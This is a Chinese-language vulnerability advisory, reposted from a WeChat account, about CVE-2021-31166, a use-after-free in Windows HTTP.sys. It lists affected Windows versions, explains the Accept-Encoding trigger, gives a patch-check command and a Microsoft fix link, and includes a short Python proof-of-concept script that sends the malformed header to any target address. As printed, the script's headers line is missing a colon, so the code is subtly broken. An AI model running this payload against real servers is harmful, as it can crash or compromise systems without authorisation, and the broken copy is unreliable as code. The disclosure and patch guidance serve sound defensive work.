漏洞描述|CVE-2021-31166 POC

admin 2021年10月9日18:00:50评论106 views字数 1286阅读4分17秒阅读模式

漏洞名称 : HTTP协议栈远程代码执行漏洞CVE-2021-31166

组件名称 : HTTP.sys

影响范围 :

Windows 10 Version 2004, 20H2

Windows Server version 2004, 20H2

漏洞类型 : 远程代码执行

利用条件

1、用户认证:否

2、前置条件:受害主机启用了HTTP服务

3、触发方式:远程

综合评价

<综合评定利用难度>:困难,在无需授权的情况下可以导致远程服务器拒绝服务,但是要实现代码执行比较困难。
<综合评定威胁等级>:高危,在无需授权的情况下即可实现远程拒绝服务甚至可能可以导致远程代码执行。

组件介绍

超文本传输协议(HTTP)是一个用于传输超媒体文档(例如HTML)的应用层协议。它是为Web浏览器与 Web 服务器之间的通信而设计的,Windows上的HTTP协议栈用于windows上的Web服务器,例如IIS等,若该协议栈相关的组件存在漏洞,则可能导致远程恶意代码执行。

漏洞描述

该漏洞是由于HTTP协议栈相关组件在处理存在多个Accept-Encoding字段的HTTP请求时存在Use-After-Free的漏洞,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行远程代码执行攻击,最终获取服务器最高权限。

HTTP.sys是Windows内核中最为重要的内核模块,是Windows上HTTP协议栈的底层网络驱动,该漏洞影响多个Windows版本

目前受影响的HTTP.sys版本:

Windows 10 Version 2004, 20H2
Windows Server version 2004, 20H2

漏洞复现

搭建Http组件10.0.19041.928版本环境,复现该漏洞,效果如下:

漏洞描述|CVE-2021-31166  POC

在这里插入图片描述

https://github.com/0vercl0k/CVE-2021-31166

import requests
import argparse

def main():
    parser = argparse.ArgumentParser('Poc for CVE-2021-31166: remote UAF in HTTP.sys')
    parser.add_argument('--target', required = True)
    args = parser.parse_args()
    r = requests.get(f'http://{args.target}/', headers = {
        'Accept-Encoding''doar-e, ftw, imo, ,',
    })
    print(r)

main()

打开cmd.exe输入

systeminfo | findstr "KB5003173 KB4562830 KB5000736"
若无结果返回则说明没有安装更新补丁。

修复建议

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31166


原文始发于微信公众号(无级安全):漏洞描述|CVE-2021-31166 POC

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年10月9日18:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   漏洞描述|CVE-2021-31166 POChttp://cn-sec.com/archives/575084.html

发表评论

匿名网友 填写信息